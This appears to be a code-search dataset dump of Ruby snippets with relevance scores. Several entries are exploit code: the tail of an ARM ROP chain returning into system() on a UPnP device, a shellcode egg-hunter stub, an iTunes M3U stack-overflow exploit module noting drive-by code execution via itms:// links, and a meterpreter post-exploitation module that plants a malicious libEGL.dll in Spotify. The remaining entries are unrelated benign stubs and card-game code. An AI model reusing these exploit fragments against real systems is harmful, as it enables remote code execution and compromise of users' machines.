pc}\r\n\r\n\t\t# The offset (right-shifted by 2 ) to our command string above\r\n\t\tbuffer[284,4] = [0xfffffe78].pack(\"V\") #\r\n\r\n\t\t# Copy $r3 into $r0\r\n\t\tbuffer[316,4] = [0x400db0ac].pack(\"V\")\r\n\t\t\t# 0x400db0ac <_IO_wfile_underflow+1184>:\tsub\tr0, r3, #1\r\n\t\t\t# 0x400db0b0 <_IO_wfile_underflow+1188>:\tpop\t{pc}\t\t; (ldr pc, [sp], #4)\r\n\r\n\t\t# Move our stack pointer down so as not to corrupt our payload\r\n\t\tbuffer[320,4] = [0x400a5568].pack(\"V\")\r\n\t\t\t# 0x400a5568 <__default_rt_sa_restorer_v2+5448>:\tadd\tsp, sp, #408\t; 0x198\r\n\t\t\t# 0x400a556c <__default_rt_sa_restorer_v2+5452>:\tpop\t{r4, r5, pc}\r\n\r\n\t\t# Finally return to system() with $r0 pointing to our string\r\n\t\tbuffer[141,4] = [0x400add8c].pack(\"V\")\r\n\r\n\t\treturn buffer\r\n=begin\r\n\t\t00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev\r\n\t\t00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev\r\n\t\t00032000-00055000 rwxp 00000000 00:00 0 [heap]\r\n\t\t40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so\r\n\t\t40015000-40017000 rwxp 00000000 00:00 0\r\n\t\t4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so\r\n\t\t4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so\r\n\t\t4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so\r\n\t\t4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so\r\n\t\t40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so\r\n\t\t40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so\r\n\t\t40036000-40078000 rwxp 00000000 00:00 0\r\n\t\t40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so\r\n\t\t40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so\r\n\t\t40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so\r\n\t\t40185000-40187000 rwxp 00000000 00:00 0\r\n\t\tbd600000-bd601000 ---p 00000000 00:00 0\r\n\t\tbd601000-bd800000 rwxp 00000000 00:00 0\r\n\t\tbd800000-bd801000 ---p 00000000 00:00 0\r\n\t\tbd801000-bda00000 rwxp 00000000 00:00 0\r\n\t\tbdc00000-bdc01000 ---p 00000000 00:00 0\r\n\t\tbdc01000-bde00000 rwxp 00000000 00:00 0\r\n\t\tbe000000-be001000 ---p 00000000 00:00 0\r\n\t\tbe001000-be200000 rwxp 00000000 00:00 0\r\n\t\tbe941000-be956000 rwxp 00000000 00:00 0 [stack]\r\n=end\r\n\r\n\tend", "title": "" }, { "docid": "a319ad82bddc779ee54a4bf26aea0be8", "score": "0.4728435", "text": "def enable_stubs!; end", "title": "" }, { "docid": "90972c440c2204f57405b27a0a5eee91", "score": "0.47259927", "text": "def lsmod\n super @arachni.lsmod\n end", "title": "" }, { "docid": "3a7fab0ccafc5bffbbdfc51c87cae1bf", "score": "0.47145647", "text": "def patch_in_ram(source); end", "title": "" }, { "docid": "ad1323a842a608fc2ba2d254d9def57d", "score": "0.47142845", "text": "def source; \"IPH\"; end", "title": "" }, { "docid": "45d4a3d4599a698dfa8bead12a78cbf8", "score": "0.47119537", "text": "def on_externally_stubbed_request\n end", "title": "" }, { "docid": "5b2939b08160f7a193e777b6ddd4ce21", "score": "0.47102442", "text": "def hunter_stub(payload, badchars = '', opts = {})\n\n startreg = opts[:startreg]\n\n raise RuntimeError, \"Invalid egg string! Need #{esize} bytes.\" if opts[:eggtag].length != 4\n marker = \"0x%x\" % opts[:eggtag].unpack('V').first\n\n checksum = checksum_stub(payload, badchars, opts)\n\n startstub = ''\n if startreg\n if startreg.downcase != 'ecx'\n startstub = \"\\n\\tmov ecx,#{startreg}\\n\\tjmp next_addr\"\n else\n startstub = \"\\n\\tjmp next_addr\"\n end\n end\n startstub << \"\\n\\t\" if startstub.length > 0\n\n assembly = <<EOS\n cld\n#{startstub}\ncheck_readable:\n or cx,0xfff\nnext_addr:\n inc ecx\n push 0x43 ; use 'sigaction' syscall\n pop eax\n int 0x80\n cmp al,0xf2\n je check_readable\n\ncheck_for_tag:\n ; check that the tag matches once\n mov eax,#{marker}\n mov edi,ecx\n scasd\n jne next_addr\n ; it must match a second time too\n scasd\n jne next_addr\n\n ; check the checksum if the feature is enabled\n#{checksum}\n\n ; jump to the payload\n jmp edi\nEOS\n\n assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string\n\n # return the stub\n assembled_code\n end", "title": "" }, { "docid": "058937dbb3cd789276c8e664660099ad", "score": "0.4710113", "text": "def parse_legacy_layer_name\n @legacy_name_start = @file.tell\n\n len = Util.pad4 @file.read(1).bytes.to_a[0]\n @legacy_name = @file.read_string(len)\n\n @legacy_name_end = @file.tell\n end", "title": "" }, { "docid": "39e84a9aa62165e0398a47c16fb065de", "score": "0.4701279", "text": "def extended\n @nClasses, @classTableOffset, @stateArrayOffset, @entryTableOffset = @bytes[0, 16].unpack('NNNN')\n @ligActionOffset, @componentOffset, @ligatureOffset = @bytes[16, 12].unpack('NNN')\n end", "title": "" }, { "docid": "b17b8e0305d3b073a287b19031a825da", "score": "0.46984565", "text": "def prep_zip64_extra(for_local_header); end", "title": "" }, { "docid": "404a7e024349dd8f6ca3a33d48eea21d", "score": "0.46977234", "text": "def HL02=(arg)", "title": "" }, { "docid": "4c64e7265194a4c6bac262c2fb3c13ee", "score": "0.46921578", "text": "def generate_custom_spec(clone_spec, vm_config)\n src_config = @vm.config\n\n global_ipset = RbVmomi::VIM.CustomizationGlobalIPSettings\n cust_spec = RbVmomi::VIM.CustomizationSpec(:globalIPSettings => global_ipset)\n\n cust_spec.globalIPSettings.dnsServerList = vm_config[:ip_dns].split(',') if vm_config[:ip_dns]\n cust_spec.globalIPSettings.dnsSuffixList = vm_config[:domain].split(',')\n\n nicSettingMap = []\n src_cards = []\n src_config.hardware.device.each do |dev|\n if dev.deviceInfo.label =~ /^Network adapter/\n src_cards << dev.deviceInfo.label\n end\n end\n\n src_cards.each do |name|\n if vm_config[:network]\n config = vm_config[:network][name]\n else\n config = nil\n end\n\n card = src_config.hardware.device.find { |d| d.deviceInfo.label == name }\n unless card\n raise Vsimple::Error.new \"Can't find source network card #{name} to customize\"\n end\n\n if config && config[:port_group]\n network = find_network(config[:port_group])\n begin\n switch_port = RbVmomi::VIM.DistributedVirtualSwitchPortConnection(\n :switchUuid => network.config.distributedVirtualSwitch.uuid,\n :portgroupKey => network.key\n )\n card.backing.port = switch_port\n rescue\n card.backing.deviceName = network.name\n end\n else\n switch_port = RbVmomi::VIM.DistributedVirtualSwitchPortConnection(\n :switchUuid => card.backing.port.switchUuid,\n :portgroupKey => card.backing.port.portgroupKey\n )\n card.backing.port = switch_port\n end\n\n clone_spec.config.deviceChange.push RbVmomi::VIM.VirtualDeviceConfigSpec(\n :device => card,\n :operation => \"edit\"\n )\n\n if config && config[:ip]\n nicSettingMap << generate_adapter_map(config[:ip], config[:gw])\n else\n cam = RbVmomi::VIM.CustomizationAdapterMapping\n cam.adapter = RbVmomi::VIM.CustomizationIPSettings\n cam.adapter.ip = RbVmomi::VIM.CustomizationDhcpIpGenerator\n nicSettingMap << cam\n end\n\n end\n\n cust_spec.nicSettingMap = nicSettingMap\n if is_windows?\n cust_spec.identity = generate_win_ident(vm_config)\n cust_spec.options = generate_win_opts\n else\n cust_spec.identity = generate_linux_ident(vm_config)\n end\n\n cust_spec\n end", "title": "" }, { "docid": "98e0d8e78cd8b867c6c3f261f68b1f6a", "score": "0.4691761", "text": "def encode_finalize_stub(state, stub)\n\t\ticount = state.buf.length / 4\n\n\t\tstub[30, 2] = [ 1974 + icount ].pack('n')\n\t\tstub[22, 2] = [ state.key.to_i ].pack('N')[0, 2]\n\t\tstub[26, 2] = [ state.key.to_i ].pack('N')[2, 2]\n\n\t\tstub\n\tend", "title": "" }, { "docid": "baabe5bb658b17a85353fb66fdbbf873", "score": "0.4688925", "text": "def extended; end", "title": "" }, { "docid": "d9472eb7b6a028625075fc34bff56a7f", "score": "0.4687893", "text": "def nonstandard_lro_file_name\n nonstandard_lro_file_path.split(\"/\").last\n end", "title": "" }, { "docid": "1ecf595e5d512759842ceaf74c2b850b", "score": "0.4686134", "text": "def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'iTunes Extended M3U Stack Buffer Overflow',\r\n 'Description' => %q{\r\n This module exploits a stack buffer overflow in iTunes 10.4.0.80 to 10.6.1.7. \r\n When opening an extended .m3u file containing an \"#EXTINF:\" tag description,\r\n iTunes will copy the content after \"#EXTINF:\" without appropriate checking\r\n from a heap buffer to a stack buffer and write beyond the stack buffers boundary.\r\n This allows arbitrary code execution.\r\n The Windows XP target has to have QuickTime 7.7.2 installed for this module \r\n to work. It uses a ROP chain from a non safeSEH enabled DLL to bypass DEP and\r\n safeSEH. The stack cookie check is bypassed by triggering a SEH exception.\r\n },\r\n\r\n ## NOTE ##\r\n # Exploit works best if iTunes is not running and the user browses to a malicious page.\r\n # But even if iTunes is already running and playing music, the exploit worked reliably\r\n #\r\n # remote code execution is possible via itms:// handler, which instructs a browser to open\r\n # iTunes:\r\n # Safari does not prompt for iTunes itms links -> RCE without user interaction\r\n # Firefox, Opera, and IE ask the user for permission to launch iTunes\r\n # Chrome asks for permission and spits a big warning\r\n\r\n 'Author' =>\r\n [\r\n 'Rh0 <rh0 [at] z1p.biz>' # discovery and metasploit module \r\n ],\r\n 'Version' => '0.0',\r\n 'DefaultOptions' =>\r\n {\r\n 'EXITFUNC' => 'process',\r\n 'InitialAutoRunScript' => 'migrate -f'\r\n },\r\n\r\n 'Platform' => ['win'],\r\n 'Payload' =>\r\n {\r\n 'Space' => 1000,\r\n 'BadChars' => \"\\x00\\x0a\\x0d\",\r\n 'DisableNops' => true,\r\n 'PrependEncoder' => \"\\x81\\xc4\\xfc\\xfb\\xff\\xff\" # ADD ESP, -0x404 \r\n },\r\n 'Targets' =>\r\n [\r\n ['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.7.2 - Windows XP SP3 EN Professional',\r\n {\r\n 'Platform' => 'win',\r\n 'Arch' => ARCH_X86,\r\n 'SEH' => 0x6693afab, # ADD ESP,0xD40 / ret [QuickTime.qts v7.7.2]\r\n 'ROP_NOP' => 0x66801044 # RET\r\n }\r\n ]\r\n ],\r\n 'DefaultTarget' => 0\r\n ))\r\n\r\n register_options(\r\n [\r\n OptPort.new('SRVPORT', [true, \"The local port to listen on\", 80]),\r\n OptString.new('URIPATH', [false, \"The URI to use for this exploit\", \"/\"]),\r\n ], \r\n self.class\r\n )\r\n end", "title": "" }, { "docid": "9547094ac9e3b1204b839778a6cebe4c", "score": "0.46776298", "text": "def set_new_extension!(name_maker)\n unless @config[:'no-extension']\n self.new_extension = name_maker.new_value_for(:extension,\n @config[:'ext-format'],\n self)\n end\n end", "title": "" }, { "docid": "fafbebd93668496873025cb51e123437", "score": "0.46700698", "text": "def PS_setup_alt()\n \"WU0;\" +\n \"RO0;\";\nend", "title": "" }, { "docid": "0e0215f139d0feb71cc2c0e560e939bb", "score": "0.4664103", "text": "def ldns_probe_protocols\n super\n end", "title": "" }, { "docid": "c43710f682dcca510c9c47790d917911", "score": "0.4659058", "text": "def moniker_provider; end", "title": "" }, { "docid": "7341cbe468cbfe8fd04b0387b216b059", "score": "0.46554944", "text": "def initialize(info={})\n super(update_info(info,\n 'Name' => 'dll hijacking in spotify 1.0.43.123 software',\n 'Description' => %q{\n This post-exploitation module requires a meterpreter session to be able to upload/inject our libEGL.dll malicious agent into the path of the service (dll hijacking) \"WARNING: payload to send must be named as: libEGL.dll\"\n },\n 'License' => UNKNOWN_LICENSE,\n 'Author' =>\n [\n 'Module Author And Bug Discovered by : Chaitanya Haritash', \n 'Special Thanks To : r00t-3xp10it', #For teaching :) \n ],\n \n 'Version' => '$Revision: 1.1',\n 'DisclosureDate' => 'dez 1 2016',\n 'Platform' => 'windows',\n 'Arch' => 'x86_x64',\n 'Privileged' => 'false', # thats no need for privilege escalation..\n 'Targets' =>\n [\n # tested on: windows 7 ultimate (32 bits)\n [ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ]\n ],\n 'DefaultTarget' => '3', # default its to run againts windows 7 ultimate (32 bits)\n 'References' =>\n [\n [ 'URL', 'http://www.spotify.com' ],\n [ 'URL', 'https://blog.fortinet.com/2015/12/10/a-crash-course-in-dll-hijacking' ]\n ],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'SESSION' => '1', # Default its to run againts session 1\n\t\t\t\t},\n 'SessionTypes' => [ 'meterpreter' ]\n \n ))\n \n register_options(\n [\n OptString.new('SESSION', [ true, 'The session number to run this module on']),\n OptString.new('LOCAL_PATH', [ false, 'The full path of libEGL.dll to upload (eg /root/libEGL.dll)'])\n ], self.class)\n\n register_advanced_options(\n [\n OptBool.new('REVERT_HIJACK', [ false, 'Revert lbEGL.dll to default stage?' , false])\n ], self.class)\n \n end", "title": "" }, { "docid": "3769991bf604fbde2adaf199b53d2244", "score": "0.46497682", "text": "def stub_module(full_name)\n # Uses #const_get to attempt to reference the given module. If the module is\n # defined, or if calling #const_get causes it to be auto-loaded, the method\n # does nothing more. But if #const_get fails to turn up the module, it defines\n # an anonymous empty module to act as a placeholder.\n full_name.to_s.split(/::/).inject(Object) do |context, name|\n begin\n context.const_get(name)\n rescue NameError\n context.const_set(name, Module.new)\n end\n end\nend", "title": "" }, { "docid": "1cb3a8dc2ef65ed1c797d873d0edb65c", "score": "0.46485898", "text": "def HL04=(arg)", "title": "" }, { "docid": "05aac9480a8521a7ebf904653b08c240", "score": "0.46452543", "text": "def hijack!; end", "title": "" }, { "docid": "49b761ba4cbc05bf38b800ef30d0fa76", "score": "0.46439233", "text": "def extension; end", "title": "" }, { "docid": "49b761ba4cbc05bf38b800ef30d0fa76", "score": "0.46439233", "text": "def extension; end", "title": "" }, { "docid": "49b761ba4cbc05bf38b800ef30d0fa76", "score": "0.46439233", "text": "def extension; end", "title": "" }, { "docid": "49b761ba4cbc05bf38b800ef30d0fa76", "score": "0.46439233", "text": "def extension; end", "title": "" }, { "docid": "04343e1fa280b22add10769135025b51", "score": "0.4638651", "text": "def militia_id; igb_variable_get(:militia_id, \"The IGB does not yet supply :militia_id headers, so this will always be nil\"); end", "title": "" }, { "docid": "c4e496e09b74de89c9077ea99b27e389", "score": "0.4636863", "text": "def nonstandard_lro_name\n \"NonstandardLro\"\n end", "title": "" }, { "docid": "c2e59536e78e331ec85374029b23524c", "score": "0.4622742", "text": "def irb_name=(_arg0); end", "title": "" }, { "docid": "0960aef5d652ec634b345cb4b5a274f4", "score": "0.46222723", "text": "def nonstandard_lro_require\n ruby_file_path @api, \"#{service_name_full}::#{nonstandard_lro_name}\"\n end", "title": "" }, { "docid": "c21be6e3ed48c99662db7335bbb58009", "score": "0.46211728", "text": "def set_smb1_headers(packet, tree_id, user_id)\n packet.smb_header.flags2.read(\"\\x07\\xc0\")\n packet.smb_header.tid = tree_id\n packet.smb_header.uid = user_id\n packet.smb_header.pid_low = 65279\n packet.smb_header.mid = 64\n packet\n end", "title": "" } ]
22d52e3ae6c8931c496a2281a0726527
Split the pot up evenly between 'tied' players
[ { "docid": "0af57947aa92698c67d2d61b663857fc", "score": "0.8589229", "text": "def split_pot(tied)\r\n player_amt = tied.length # Num of players pot is being split between\r\n # Rounds up to nearest evenly divisible int from @pot and splits it into even portions\r\n split_amt = (@pot + player_amt - (@pot % player_amt)) / player_amt\r\n # Give each player their share (table pot zeroed out in handle_showdown)\r\n @players.filter {\r\n |player| tied.include?(player.player_id)\r\n }.each {\r\n |player| player.chips += split_amt\r\n }\r\n print \"\\n\\n\\n%30s\\n\\n%30s\\n\\n\" % [\r\n \"It's a TIE!!!\",\r\n \"%-60s\" % \"Players #{tied.collect { |id| \"##{id+1}\" }.join(\", \")} tied and will split the pot!\"\r\n ]\r\n end", "title": "" } ]
[ { "docid": "7abbe65e31c5e1cb577a450669244fcd", "score": "0.6595406", "text": "def pair_players\n if self.number_of_players % 2 == 0\n number_of_teams = self.number_of_players / 2\n teams = Array(1..number_of_teams)\n players = self.get_players\n\n while players.count > 0 do\n team_mates = players.sample 2\n team = teams.sample\n teams.delete team\n team_mates.each do |mate|\n part = Participation.get_for(mate, self)\n part.team = team\n part.save\n players.delete mate\n end\n end\n end\n end", "title": "" }, { "docid": "175eeb2bd9cb28d580e1f10f53e6d4b3", "score": "0.65384895", "text": "def split\n @player.split(self)\n end", "title": "" }, { "docid": "2660487ea9c7e5e51db25616e9ace030", "score": "0.6519121", "text": "def split(hand, player, playerIndex)\n # Remove 1 card and create a new hand with a similar bet\n card = hand.removeCard(0)\n player.placeBet(hand.bet.amount, card)\n #print \"Hands:\" + player.hands.count.to_s()\n \n # Fill up the two hands\n hand.addCard(@shoe.dealNextCard())\n hand1 = player.getHandAtIndex(player.bets - 1)\n hand1.addCard(@shoe.dealNextCard())\n @players[playerIndex] = player\n end", "title": "" }, { "docid": "611125b2177086f1c2f31ce8a446ce5f", "score": "0.6358208", "text": "def play_round\n bundle_of_straws = setup_new_bundle\n 0.upto(@players.length - 1) do |index|\n player = @players[index]\n player.straw = bundle_of_straws.pop\n end\n end", "title": "" }, { "docid": "ccbf049362bda39741b64a2b1ae15c62", "score": "0.62631", "text": "def split_card(players)\n player = Player.new(parent.name + \"SplitPlayer_#{parent.split_times + 1}\", 0)\n player.bet_chips = parent.bet_chips\n parent.chips -= parent.bet_chips\n player.cards << cards.pop\n if parent == self\n player.parent = self\n else\n player.parent = parent\n end\n players.insert(players.index(self) + 1, player)\n end", "title": "" }, { "docid": "23594790e8b0013729ca9f650233f743", "score": "0.62103015", "text": "def split_deck\n @deck.cards.shuffle!\n @deck1 = Deck.new(deck.cards.slice!(0, 26))\n @player1 = Player.new(@player1, @deck1)\n\n @deck2 = Deck.new(deck.cards.slice!(0, 26))\n @player2 = Player.new(@player2, @deck2)\n end", "title": "" }, { "docid": "23d0d8ad9a6ec5dec938120fcc8c5f97", "score": "0.61276484", "text": "def split\n if split_allowed?\n hands = [Hand.new(@player),Hand.new(@player)]\n\n b = @bet\n clear_bet!\n \n 2.times do |i|\n hands[i] << @hand[i]\n hands[i].bet = b\n hands[i].from_split = true\n end\n\n @invalid = true\n\n hands\n else\n raise 'Split not allowed.'\n end\n end", "title": "" }, { "docid": "64a2ef6818b5fc9a15395860c9ecd7a1", "score": "0.61070186", "text": "def split_deck\n @deck.cards.shuffle!\n deck1 = Deck.new(deck.cards.slice!(0, 26))\n @player1 = Player.new(@player1, deck1)\n\n deck2 = Deck.new(deck.cards.slice!(0, 26))\n @player2 = Player.new(@player2, deck2)\n end", "title": "" }, { "docid": "c10e737eb2a5211fe9027e2150cac716", "score": "0.6076196", "text": "def split()\n SoundManager.play(\"boom\")\n #if the asteroid is too small to split then it will kill itself\n if @size <= 32\n self.kill()\n else\n #if it is good to go then the size will be halved, kill itself, ans create two new asteroids\n @size = @size/2\n self.kill()\n GameManager.getAsteroids().push(Asteroid.new(@size, Pos.new(rand(@pos.x-64..@pos.x+64).clamp(0,Window.width-@size),rand(@pos.y-64..@pos.y+64).clamp(0,Window.height-@size))))\n GameManager.getAsteroids().push(Asteroid.new(@size, Pos.new(rand(@pos.x-64..@pos.x+64).clamp(0,Window.width-@size),rand(@pos.y-64..@pos.y+64).clamp(0,Window.height-@size))))\n end\n end", "title": "" }, { "docid": "89bcd4ee1bb55910e12ccdef300f0f41", "score": "0.60178685", "text": "def split_deck \n\t\tputs \"Splitting the deck...\"\n\t\twhile @deck.length > 0\n\t\t\t@player_one.push(@deck.shift)\n\t\t\t@player_two.push(@deck.shift)\n\t\tend\n\t\tputs \"The Deck has been split.\"\n\tend", "title": "" }, { "docid": "e0c010082c1f5340c9641a91f2d29b0b", "score": "0.6004701", "text": "def manage_betting_order round\n bets, checks_or_calls = 0, 0\n \n betting_order = []\n @currently_in_game.each do |player|\n betting_order << player unless player.chips <= 0\n end\n\n @level.set_odds_array(@currently_in_game, @table, @currently_folded) unless @level.class != LevelThree || round == 1\n\n while betting_order.size > 1 && bets + checks_or_calls < betting_order.size\n player = betting_order.shift\n \n if player.chips > 0\n \n player_bet = round == 1 && @pot.current_bet < @pot.big_blind ? @pot.small_blind : get_bet_value(player, round)\n\n if player_bet.is_a?(Fixnum)\n bets, checks_or_calls = 1, 0\n total_due = (@pot.current_bet - player.current_bet) + player_bet\n @pot.pot += player.get_bet_from_player(total_due)\n @pot.current_bet += player_bet\n player.current_bet = @pot.current_bet\n elsif player_bet == \"fold\"\n folded_player = @currently_in_game.delete(player)\n @currently_folded << folded_player\n next\n elsif player_bet == \"check\"\n checks_or_calls += 1\n else\n checks_or_calls += 1\n total_due = player.get_bet_from_player(@pot.current_bet - player.current_bet)\n @pot.add_to_pot(total_due)\n end\n\n betting_order.push(player)\n end\n end\n\n reset_bets\n end", "title": "" }, { "docid": "36e2c183976f5cd1da93b87de679f8cc", "score": "0.59994096", "text": "def tie_breaker(score,tied_players)\r\n ids = tied_players.map { |player__hand| player__hand.first.player_id } # Get each players id\r\n hands = tied_players.map { |player__hand| player__hand.last } # Get each players hand\r\n # Determine what kind of hand it is and react accordingly\r\n case score\r\n when 1,2,16..183,185..194 # Royal/straight flushes, full houses, or straights\r\n split_pot(ids) # Ties of these hands can't be broken, split up the pot\r\n when 3..15,184,195..377 # Quads, flushes, trips, two pairs, and one pairs\r\n kicker_scores = hands.map { |hand| hand.collect { |card| card.rank**card.rank }.sum }\r\n kickers_max = kicker_scores.max\r\n if kicker_scores.one?(kickers_max) # Tie broken, one winner decided\r\n return ids[kicker_scores.find_index(kickers_max)]\r\n else # Tie couldn't be broken, split up the pot\r\n winners = ids.keep_if.with_index { |id,i| kicker_scores[i] == kickers_max }\r\n split_pot(winners)\r\n end\r\n else puts \"ERROR: Trouble in tie_breaker\" # Shouldn't be here\r\n end\r\n end", "title": "" }, { "docid": "92c7a63b38856089d70668b9c87ba455", "score": "0.5937413", "text": "def duck_duck_goose(players, goose)\n if goose > 10\n index = goose % players.size\n players.at(index -1).name\n else\n players.at(goose -1).name\n end\nend", "title": "" }, { "docid": "1898c923a37f75d3d17b95f6860387ef", "score": "0.59329605", "text": "def collect_pot\n @pot = Stack.new\n grab_cards_from :player1\n grab_cards_from :player2\n @pot.shuffle\n end", "title": "" }, { "docid": "c584e69bb594588170ea75a2281b3ada", "score": "0.59293073", "text": "def players_place_bets\n @players.each { |player|\n valid_bet = false\n until valid_bet do\n @game_io.print_player(player)\n bet_value = @game_io.input_bet_value\n valid_bet = player.make_initial_bet(bet_value)\n if !valid_bet\n @game_io.print_msg(\"invalid_bet\")\n end\n end\n @game_io.print_separator\n }\n end", "title": "" }, { "docid": "598efda2fc9dca4a704147f7bb705cde", "score": "0.58920676", "text": "def new_players_in_sight\n if @enemieS_in_sight.size >= @players_left.size\n puts \"Tous les joueurs sont déjà en vue\"\n else\n case rand(1..6)\n when 2..4\n @enemieS_in_sight.push(Player.new(\"playeur#{rand(1..10000)}\"))\n puts \"Un ennemi est rentré dans la partie\"\n when 5..6\n 2.times { @enemieS_in_sight.push(Player.new(\"playeur#{rand(1..10000)}\")) }\n puts \"Deux ennemis sont rentrés dans la partie\"\n else\n puts \"Pas de nouvel ennemi dans la partie\"\n end\n end\n end", "title": "" }, { "docid": "cedcf05c3a1864c2ab416e422bc64631", "score": "0.5882551", "text": "def select_players_for_round\n couples = []\n @population.each do |player|\n (@population.size-1).times do\n couples << [player, player.get_partner_from(@population.players)]\n end\n end\n couples\n end", "title": "" }, { "docid": "a059ad947fa6b3d15103a800bad1fb10", "score": "0.58392787", "text": "def split_deck\n\t\t@deck.rotate!(26)\n\tend", "title": "" }, { "docid": "d052b716537cd62f6226a2b92fea81a1", "score": "0.5834016", "text": "def duck_duck_goose(players, goose)\n liczba = players.length\n cel=goose%liczba\n players[cel-1]\nend", "title": "" }, { "docid": "cf9a9c70e603ace5b00b526fa3cb0c18", "score": "0.58286494", "text": "def take_bets\n @players.each{ |player| player.make_bet }\n end", "title": "" }, { "docid": "8c76c6fdfc38b385b73e4dfd81e116b1", "score": "0.5825449", "text": "def place_bets\n for player in @players\n # allow players with little cash to bet\n min = (@min_bet < player.cash) ? @min_bet : player.cash\n max = (@max_bet < player.cash) ? @max_bet : player.cash\n player.bet = @io.get_bet(player, min, max, @bet_step)\n hand = Hand.new\n player.add_hand(hand)\n player.place_bet(hand)\n end\n\n # dealer starts his hand\n @dealer.add_hand(Hand.new)\n end", "title": "" }, { "docid": "e91e5803f9e7f6aecd355737198ee1af", "score": "0.5803987", "text": "def award_pot\n winners.each { |player| player.get_money(pot / winners.count) }\n end", "title": "" }, { "docid": "13de64ee37d66fdd26f02c72742ef7e8", "score": "0.57976675", "text": "def new_players_in_sight\n if @players_out.empty?\n puts \"Pas d'autre ennemi en attente\"\n return\n end\n puts 'ATTENTION !'\n dés = rand(1..6) #choix entre les face du dés entre 1 et 6\n if dés == 1\n puts 'Génial ! Pas de nouvel ennemi en vu!'\n elsif dès <= 4 || @players_out.size == 1\n @enemies << @players_out.pop\n puts 'Attention ! Un nouvel ennemi apparait !'\n else \n @enemies << @players_out.pop\n @enemies << @players_out.pop\n puts 'Attention ! Deux nouveaux ennemis vont apparaitre sous peu !'\n end\n puts\n end", "title": "" }, { "docid": "444dc6623c0d767679816ca21f5a1cfe", "score": "0.57808614", "text": "def balance_tables!\n open_tables = self.tables.playing\n players.playing.standing.each do |player|\n if new_table = open_tables.find { |t| t.open_seats.between?(1, table_size - 1) }\n new_table.players << player\n end\n end\n\n # Reseat leftover players.\n create_seatings!\n end", "title": "" }, { "docid": "d6ef6e024c3921bf29803681ec8a0d61", "score": "0.575868", "text": "def reproduce(fittest)\n next_generation = []\n fittest.each do |player|\n mate = player.get_partner_from(fittest)\n if mate.nil?\n break unless add_child_to(next_generation, player.mutated_clone)\n else\n child1, child2 = player.cross_with(mate)\n break unless add_child_to(next_generation, child1.mutate!)\n break unless add_child_to(next_generation, child2.mutate!)\n end\n end\n @population.replace_players_with(next_generation)\n @num_generations += 1\n end", "title": "" }, { "docid": "081ffad2c1cf5b28fd79d73b6dacae44", "score": "0.5758258", "text": "def cut_pack(pack, cut, cutter) # Cuts the pack between 20% and 80%.\n puts \"Cutting the pack...\"\n sleep 1\n if cutter == \"Player\"\n pack += pack.slice!(0..cut)\n else # Dealer cuts here\n sliced_pack = pack.slice!(0..cut)\n # Dealer inserts shuffle reminder.\n sliced_pack.push(SHUFFLE_REMINDER)\n pack = sliced_pack + pack\n end\n pack.reverse # Need to flip order because dealer will deal from bottom (#pop).\n end", "title": "" }, { "docid": "501afbf2656250ac724077e4394283f5", "score": "0.5750394", "text": "def distributeCards()\n i = 0\n 52.times do |j|\n card = @deck.removeTopCard()\n @players[i].addCardToHand(card)\n i += 1\n if i == @numPlayers\n i = 0\n end\n end\n end", "title": "" }, { "docid": "9ed5c2bf495d963c2b6ace34f1107a14", "score": "0.5741515", "text": "def bet_phase\n @players.each_pair { |player, control|\n if player.money == 0 then # is the player broke ?\n delete_player(player, \"#{player.name} has no money!\")\n next\n end\n\n begin\n begin\n bet = control.bet(player.dup.freeze) # ask controller\n end until player.place_bet(bet)\n rescue => e\n delete_player(player, e.message) # remove player\n end\n }\n end", "title": "" }, { "docid": "e171b50e0dba55949f15ba22f6d0ebc6", "score": "0.573258", "text": "def new_players_in_sight\n puts '>>> Tous les joueurs sont déjà en vue' if @players_left.zero?\n if @players_left.positive?\n dice = rand(1..6)\n if dice == 1\n puts \">>> Tu as de la chance il n'y a pas de nouvel adversaire en plus\"\n elsif dice.between?(2, 4)\n @enemies_in_sight << Player.new(\"bot_#{@enemies_tot - @players_left}\")\n @players_left -= 1\n puts \">>> Tu as un nouvel adversaire #{@enemies_in_sight[-1].name}\"\n elsif dice > 4\n 2.times do\n @enemies_in_sight << Player.new(\"bot_#{@enemies_tot - @players_left}\")\n @players_left -= 1\n end\n print '>>> Pas de chance, tu as 2 nouveaux adversaires '\n puts \"#{@enemies_in_sight[-1].name} et #{@enemies_in_sight[-2].name}\"\n end\n end\n end", "title": "" }, { "docid": "110d1dcf6fad7d69ab4f5cb762af10f5", "score": "0.5718893", "text": "def tiebreaker\n @face_down_pool << @player_one.lay_card << @player_two.lay_card\n end", "title": "" }, { "docid": "e1f474970e5778a84e67a0d9659758cd", "score": "0.5715618", "text": "def distribute_players(players_pool_array)\n @radiant_array, @radiant_avg = players_pool_array.first(5), 0\n @dire_array, @dire_avg = players_pool_array.last(5), 0\n\n @radiant_array.each { |player| @radiant_avg += player[1] }\n @dire_array.each { |player| @dire_avg += player[1] }\n end", "title": "" }, { "docid": "dc8378e17ee9c737487542b73215ce24", "score": "0.5708207", "text": "def switch_players\n if players.length == 0\n return\n end\n @current_player_index = (@current_player_index + 1) % players.length\n @current_player = players[@current_player_index]\n end", "title": "" }, { "docid": "c28d4a5c1bf6d60c801c822f4637f12a", "score": "0.5701014", "text": "def snap(flash_pile, turtle_pile)\n snap_count = 0\n played = []\n player = 'flash'\n\n while turtle_pile.size > 0\n if player == 'flash'\n current_card = flash_pile.shift\n player = 'turtle'\n else\n current_card = turtle_pile.shift\n player = 'flash'\n end\n\n played << current_card\n\n if current_card == played[-2]\n snap_count += 1\n 